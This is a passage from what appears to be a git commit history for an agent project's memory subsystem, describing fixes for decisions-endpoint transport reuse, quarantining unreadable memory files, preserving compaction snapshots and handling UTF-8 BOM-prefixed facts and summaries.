answer `type` rather than an HTTP failure -- so it lands in the existing
per-question error channel and each consumer keeps its own failure direction.

Transport is reused rather than copied. `provider_label` and the connection's
`endpoint_path` are the only two seams a dialect needs, so retry and backoff,
the deadline budget, the bounded never-decoded body read and the error taxonomy
keep one owner; `resolve_decisions_connection` pairs the two so a Decisions
connection cannot be built pointing at System One. The three adapters override
their connection resolution, their client, and the value the endpoint judges
(`input` text instead of a `state` object), and inherit thresholds, rubrics,
caches and audit policy unchanged. Wiring stays a `use:` class path, so no
config schema is added.

* fix(decisions): isolate endpoint identities and correct diagnostics

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-20 11:50:46 +08:00
LuckVd
2174c1d81e
fix(memory): quarantine unreadable memory summaries (#7076)
* fix(memory): quarantine unreadable memory.json in the read-error branch too

MarkdownMemoryStorage._load_memory_file quarantined summaries that failed
to decode as JSON/Markdown, but the earlier except (OSError, UnicodeError)
branch (unreadable bytes, e.g. a UTF-16 BOM) still returned None without
quarantining. The leftover file was then silently overwritten by the next
save, destroying the user's memories with no backup.

Call the existing best-effort self._quarantine_unreadable(path) there as
well, matching the documented quarantine contract, and add a regression
test asserting the original bytes survive a subsequent load+save.

Fixes #7072

* fix(memory): preserve summaries on transient read failures

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-20 11:25:01 +08:00
LingYi
ee02e51df9
fix(memory): preserve consecutive pre-compaction snapshots (#7152)
* fix(memory): preserve consecutive pre-compaction snapshots

* fix(memory): warn on growing emergency snapshot backlogs

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-20 10:24:16 +08:00
yetuge
18ca09b2da
fix(memory): parse a BOM-prefixed DeerMem fact instead of calling it corruption (#7116)
* fix(memory): parse a BOM-prefixed DeerMem fact instead of calling it corruption

Facts are hand-editable Markdown files, so a Windows editor can save one as
"UTF-8 with BOM" -- the same exposure #7083 fixed for memory.json. The fact
parser checks `text.startswith("---\n")` against a plain-utf-8 read, so the
BOM makes a valid fact read as "missing YAML front matter" and raises
MemoryStorageCorruption, which the module docs describe as taking down the
whole agent.

Read the fact with utf-8-sig, matching the summary loader and the SOUL.md /
SKILL.md convention already recorded in AGENTS.md. `_parse_listed_fact`
delegates here, so the directory-scan path is covered by the same change.

Measured: the new BOM test fails on the base revision with exactly that
"missing YAML front matter" corruption and passes at head; the no-BOM control
passes both. 49 tests in test_memory_storage.py, 106 across the memory
suites, ruff check/format clean. Mutation-checked: reverting to plain utf-8
fails only the BOM case.

* test(memory): cover BOM facts through the public storage API

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-19 23:27:04 +08:00
Jay0130-a
0a1c86a371
fix(memory): parse a UTF-8 BOM in the DeerMem summary instead of raising corruption (#7083) (#7084) 2026-10-19 14:44:15 +08:00